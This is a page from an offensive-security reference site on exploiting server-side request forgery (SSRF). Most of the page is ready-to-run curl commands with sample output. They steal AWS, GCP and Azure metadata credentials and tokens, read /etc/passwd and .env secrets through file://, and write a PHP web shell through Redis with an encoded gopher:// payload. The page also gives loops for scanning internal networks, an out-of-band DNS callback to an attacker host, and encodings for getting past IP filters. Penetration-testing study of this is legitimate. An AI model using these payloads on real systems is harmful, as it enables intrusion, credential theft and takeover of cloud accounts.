# SSRF Exploitation

- **URL:** https://hackindex.io/services/web/exploitation/ssrf-exploitation
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-03-28
- **Updated:** 2026-06-21

SSRF exploitation uses a confirmed server-side request to reach internal services, cloud metadata endpoints, and internal APIs not accessible externally. Confirm SSRF with an out-of-band callback first through [SSRF detection](https://hackindex.io/services/web/vulnerability-discovery/ssrf-detection) before probing internal infrastructure. Prioritize cloud metadata over internal port scanning. A single SSRF hit on AWS IMDS can yield credentials that open the entire cloud account. If the application response body reflects content from the fetched URL, exploitation is straightforward. Blind SSRF limits you to inferring results from response timing and HTTP status codes.

- **AWS IMDS credential theft** retrieves IAM role credentials from 169.254.169.254 for cloud account access.
- **Internal service access** reaches admin panels, Redis, databases, and APIs not exposed externally.
- **Internal network scanning** maps live hosts and open ports across private IP ranges via response timing.
- **Filter bypasses** use hex, integer, and short-form IP encoding plus redirect chains and DNS rebinding.

## AWS IMDS Credential Theft

The AWS Instance Metadata Service exposes IAM role credentials at 169.254.169.254. This is the highest-impact SSRF target in cloud environments. The first request returns the name of the IAM role attached to the instance. An empty response means no role is attached, or IMDSv2 token enforcement is active. IMDSv2 requires a PUT request to obtain a session token first, which most SSRF vulnerabilities cannot issue. If you get a role name back, immediately request its credentials using that name in the second URL.

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# ec2-role-name
```

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"
# {
#   "AccessKeyId": "ASIA...",
#   "SecretAccessKey": "abc123...",
#   "Token": "AQoD...",
#   "Expiration": "2026-03-28T18:00:00Z"
# }
```

Use the returned credentials directly from your Kali machine to enumerate AWS resources. Set all three environment variables before running any AWS CLI command. Run `sts get-caller-identity` first to confirm the role name and account ID. The Expiration field shows when the token rotates, so act before it expires. From there, enumerate S3 buckets with `aws s3 ls`, list EC2 instances, and check IAM policies to understand the role's permissions. Roles attached to app servers often have broad S3 or SSM access.

```bash
export AWS_ACCESS_KEY_ID='ASIA...' AWS_SECRET_ACCESS_KEY='abc123...' AWS_SESSION_TOKEN='AQoD...' && aws sts get-caller-identity
```

## GCP Metadata Endpoint

Google Cloud instances expose metadata at `metadata.google.internal`. Unlike AWS, GCP requires a `Metadata-Flavor: Google` header on all requests. Most SSRF vulnerabilities let you control the URL but not request headers. If the vulnerable application forwards custom headers or the SSRF function accepts header parameters, include the required header. Without it, the metadata service returns a 403. The service account token endpoint returns an OAuth access token usable with `gcloud` and the GCP REST API.

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token&headers=Metadata-Flavor:Google"
# {"access_token":"ya29.c...","expires_in":3600,"token_type":"Bearer"}
```

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://metadata.google.internal/computeMetadata/v1/project/project-id&headers=Metadata-Flavor:Google"
# my-gcp-project-123
```

If the application cannot pass the `Metadata-Flavor` header, try the legacy endpoint at `http://metadata.google.internal/computeMetadata/v1beta1/`, which does not require the header. Google deprecated it but some instances still serve it.

## Azure IMDS

Azure VMs expose the Instance Metadata Service at `169.254.169.254`. Like GCP, it requires a custom header: `Metadata: true`. Without the header, the service returns 400 Bad Request. The identity endpoint returns an OAuth access token for the managed identity attached to the VM. Use this token with the Azure REST API or `az` CLI to enumerate resources, storage accounts, and Key Vault secrets.

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01&headers=Metadata:true"
# {"compute":{"name":"web-vm","resourceGroupName":"prod-rg","subscriptionId":"abc-123..."}}
```

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01%26resource=https://management.azure.com/&headers=Metadata:true"
# {"access_token":"eyJ0eXAi...","expires_in":"86400","resource":"https://management.azure.com/"}
```

## Internal Service Access

Use SSRF to reach internal services not exposed externally. Target common internal ports: 8080 and 8443 for internal web applications, 6379 for Redis, 5432 for PostgreSQL, 3306 for MySQL, 27017 for MongoDB, and 9200 for Elasticsearch. Response body content identifies what is running. An HTML page means an internal admin panel is accessible. A JSON response usually indicates an internal API. A 401 or 403 means the service exists but requires authentication. A connection timeout means the port is closed or filtered on that host.

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://127.0.0.1:8080/admin"
# <html><title>Admin Panel</title>
```

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://127.0.0.1:6379/"
# -ERR wrong number of arguments for 'get' command
```

A Redis error response means the SSRF reached an unauthenticated Redis instance. Send Redis commands through the SSRF to write SSH keys or a web shell to disk. Redis accepts plain text commands on port 6379 by default. Use the `gopher://` protocol in your SSRF payload to send raw multi-line commands if the application allows non-HTTP schemes. The gopher protocol lets you craft arbitrary TCP payloads, making it applicable to any text-based service including Memcached and SMTP. If gopher is blocked, look for the internal admin panel to provide a higher-privilege entry point instead.

## Local File Read via file://

When the SSRF handler supports the `file://` URI scheme, read local files directly from the server filesystem. This is equivalent to XXE file read but through the SSRF vector. Libraries like Python `urllib` and PHP `file_get_contents` handle `file://` natively. Java `HttpURLConnection` does not support `file://` by default, but `URL.openStream()` does. Target the same high-value files as XXE: `/etc/passwd`, `.env`, SSH keys, and application config files.

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=file:///etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
```

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=file:///var/www/html/.env"
# DB_HOST=10.0.0.5
# DB_USER=app
# DB_PASS=s3cretP@ss
```

## Gopher Protocol for Raw TCP

The `gopher://` scheme sends arbitrary TCP data to a target host and port. This makes it possible to interact with text-based services like Redis, Memcached, SMTP, and even craft raw HTTP requests. The format is `gopher://host:port/_payload` where the payload is URL-encoded raw TCP data. The leading underscore after the slash is consumed by the gopher handler and not sent. This example writes a PHP web shell to disk through an unauthenticated Redis instance reachable via SSRF.

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A"
```

The URL-encoded payload sends Redis RESP commands: FLUSHALL, SET a key containing a PHP shell, CONFIG SET the dump directory to the webroot, CONFIG SET the filename to `shell.php`, and SAVE to write the database to disk. After the save completes, access the shell at `http://$TARGET_IP/shell.php?cmd=id`. Not all SSRF libraries support gopher. Python `urllib` removed gopher support in Python 3. PHP `curl` supports it if not disabled in `php.ini`. Java `URL` class does not support gopher. If gopher is blocked, the `dict://` scheme is a limited alternative that sends a single command: `dict://127.0.0.1:6379/INFO`.

## Internal Network Scanning

Use SSRF to map the internal network by probing private IP ranges. The scan loop treats exit code 000 as a timeout and prints any other code as a live response. A 200 means a web service is running on that host. A 401 or 403 means something exists but requires authentication. Any non-timeout response confirms a live host. Target 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 ranges. After finding live hosts, probe each on common service ports to identify what is running. Slow response times relative to the timeout value can also indicate filtered ports worth revisiting.

```bash
for ip in $(seq 1 254); do code=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 2 "http://$TARGET_IP:$PORT/fetch?url=http://10.0.0.$ip/"); [ "$code" != "000" ] && echo "$code 10.0.0.$ip"; done
# 200 10.0.0.5
# 200 10.0.0.12
# 401 10.0.0.20
```

## Blind SSRF Techniques

When the response body does not reflect content from the fetched URL, use indirect signals to extract information. Timing differences reveal whether a port is open or closed: an open port returns quickly, a closed port resets immediately, and a filtered port times out. Response size differences can also leak data when the application returns different error pages for different backend responses. DNS-based confirmation works when all other channels are blocked: point the SSRF at a URL containing a unique subdomain on your DNS server and watch for the resolution.

```bash
for port in 22 80 443 3306 6379 8080; do start=$(date +%s%N); curl -sk -o /dev/null --max-time 3 "http://$TARGET_IP:$PORT/fetch?url=http://10.0.0.5:$port/"; elapsed=$(( ($(date +%s%N) - start) / 1000000 )); echo "Port $port: ${elapsed}ms"; done
# Port 22: 45ms
# Port 80: 52ms
# Port 443: 3001ms
# Port 3306: 41ms
# Port 6379: 48ms
# Port 8080: 3002ms
```

Ports 22, 80, 3306, and 6379 responded quickly, indicating open ports. Ports 443 and 8080 timed out at 3 seconds, indicating filtered or closed ports. For DNS-based confirmation, use a unique identifier per probe so you can correlate which request triggered the resolution. Collaborator-style tools (Burp Collaborator, interactsh) automate this. When the application returns different HTTP status codes for open versus closed backend ports, use the status code as the signal instead of timing.

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://ssrf-confirm.uniqueid.$LHOST.oast.fun/"
```

## SSRF Filter Bypasses

When the application blocks obvious internal addresses, try alternative representations. 0x7f000001 is 127.0.0.1 in hex notation. 2130706433 is the same address as a 32-bit unsigned integer. 127.1 resolves to 127.0.0.1 on most systems. Also try alternative URL schemes: `dict://`, `gopher://`, and `file://` sometimes bypass filters that only block `http://`. If the filter uses a domain allowlist, register a domain that resolves to 127.0.0.1 and use it as the SSRF target. Some applications follow redirects from trusted domains, which you can chain to reach an internal address.

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://0x7f000001/"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://2130706433/"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://127.1/"
```

The same integer, hex, and short-form encodings apply to any blocklisted destination, including the cloud metadata address shown above. Encode it the same way to slip past a filter that only matches the literal string. If the application resolves the URL at validation time and makes the request later, DNS rebinding can bypass IP-based filters by switching the resolved address between the two operations. This requires controlling a DNS record with a very short TTL. When all bypass attempts fail, check whether the application follows HTTP redirects. Host a redirect on an external server pointing to your internal target, then use your server's URL as the SSRF payload.

## References

- [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf) - Internal service targeting and bypass techniques
- [AWS: IMDS Endpoints](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html) - Metadata service paths for IAM credential retrieval
